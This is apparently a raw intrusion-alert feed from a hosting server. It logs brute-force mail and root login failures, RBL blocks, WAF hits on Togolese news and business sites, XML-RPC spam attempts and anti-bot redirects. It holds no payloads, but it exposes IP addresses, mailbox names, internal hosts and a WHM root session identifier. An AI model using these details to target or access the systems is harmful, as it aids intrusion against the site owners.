171.25.193.46 - ohuuvcqw [22/Jun/2026:04:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924250&pdata=https%253A%252F%252Fdigilix.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782102414 HTTP/2.0" 302 0 digilix.tg "https://digilix.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.25.193.46


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-22 04:27:51 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:59902: 535 Incorrect authentication data (set_id=vincenzo)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.249.22
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-28.45.140.249.22||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 22 04:27:49 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.140.251.61
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-28.45.140.251.61||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:30:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801307&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782102652 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:34:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:34:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:34:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:34:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 22 04:34:48 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-22 04:34:50 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:43580: 535 Incorrect authentication data (set_id=ratings)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.242.157
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.245.242.157||TA:104.245.242.157||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:04:39:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737159&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782103157 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:39:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051411&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782103164 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 178.20.212.251
country_id: 241170
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:178.20.212.251||TA:178.20.212.251||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.2.222.192
country_id: 3624060
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/1849291965 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.153
country_id: 1880251
description:
47.128.121.153 - - [22/Jun/2026:04:43:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776469&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ftogo-une-brigade-fonciere-en-creation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782103417 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/togo-une-brigade-fonciere-en-creation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.153


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.50.89.107
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/examen-et-adoption-de-lavant-projet-du-budget-2023-de-la-cedeao-les-parlementaires-en-conclave-a-lome HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.239.39.82
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/731664649 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:04:45:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843080&pdata=https%253A%252F%252Ftogomedia24.tg%252F2022%252F02%252F11%252Ftogo-une-gratification-de-5-milliards-pour-les-enseignants-sur-5-ans%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782103544 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2022/02/11/togo-une-gratification-de-5-milliards-pour-les-enseignants-sur-5-ans/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.107.136
country_id: 3469034
description:
[2026-06-22 04:46:08 +0000] info [whostmgrd] 177.136.107.136 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:49:23 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:49:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:49:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:49:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.16.227.83
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/686666 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.57.207.238
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/58a1b8 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.15.25
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:87181.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:030818aa22e1b2b42afd7b6ddaac2b8fc6bd8db3||Title:0x3def445f||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.55
country_id: 690791
description:
2026-06-22 04:55:11 H=([77.83.39.55]) [77.83.39.55]:61281 F=<info@pakhts.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.125.70
country_id: 798544
description:
Jun 22 04:55:25 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.125.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:56:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10394982&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782104183 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.131.137.196
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/857426590 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.159.227.67
country_id: 3508796
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/7d6964 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [22/Jun/2026:04:56:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9998958&pdata=https%253A%252F%252Fwebmail.afrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782104183 HTTP/2.0" 302 0 webmail.afrique-distribution.net "https://webmail.afrique-distribution.net/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:04:56:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343849&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782104190 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.224.207.203
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/secteur-routier-a-la-decouverte-de-lauto-ecole-litineraire HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.241.242
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.245.241.242||TA:104.245.241.242||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:01:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143940&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782104470 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 05:01:29 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:52500: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [22/Jun/2026:05:02:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802646&pdata=https%253A%252F%252Ftontonedouard-togo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782104529 HTTP/2.0" 302 0 tontonedouard-togo.com "https://tontonedouard-togo.com/" "Mozilla/5.0 (Linux; Android 12; M2102J20SG Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023002030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/30.2.3 ByteLocale/ru-RU ByteFullLocale/ru-RU Region/US Spark/1.3.5.7-bugfix AppVersion/30.2.3 BytedanceWebview/d8a21c6" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-22 05:01:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:51415: 535 Incorrect authentication data (set_id=prometheus1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-06-22 05:04:30 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:43436: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.21.97
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/bcb7a2 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.39.26.112
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/opposition-togolaise-le-parti-la-racine-denonce-le-populisme-et-appelle-a-lunite HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [22/Jun/2026:05:10:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10392682&pdata=http%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782105003 HTTP/1.1" 302 0 ekeasarl.com "http://ekeasarl.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 11019
name: WHM session loaded via API from external IP
abuser: 203.147.139.82
country_id: 1831722
description:
[2026-06-22 05:10:37 +0000] info [whostmgrd] 203.147.139.82 NEW root:O_8sEMQ5I79r5V2O address=203.147.139.82,app=whostmgrd,creator=root,method=handle_form_login,path=loadsession:root:QYLFqgckANLQGDKG:create_user_session,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:11:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855129&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782105067 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:05:11:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066075&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782105076 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.219.127.249
country_id: 3469034
description:
[2026-06-22 05:12:04 +0000] info [whostmgrd] 186.219.127.249 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.232.58
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:194.180.232.58||TA:194.180.232.58||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.78.194
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/numerisation-au-togo-lagence-togo-digital-facilite-les-demarches-administratives HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.135.207
country_id: 1269750
domain: djama.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65137.djama.tg||ServerName:djama.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:df1ae37d2924433fb49ab0dd6aaa5afbf2cbbf14||Title:dubo245wbcsttwf6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.183.74.177
country_id: 6252001
description:
2026-06-22 05:14:59 dovecot_plain authenticator failed for H=c-73-183-74-177.hsd1.pa.comcast.net (twers) [73.183.74.177]:44696: 535 Incorrect authentication data (set_id=info@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.13.0.5
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/1036119030 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:17:31 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:05:17:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:05:17:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:05:17:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-22 05:18:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:61646: 535 Incorrect authentication data (set_id=uucpadmin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.199.54
country_id: 3686110
domain: togodailynews.tg
description:
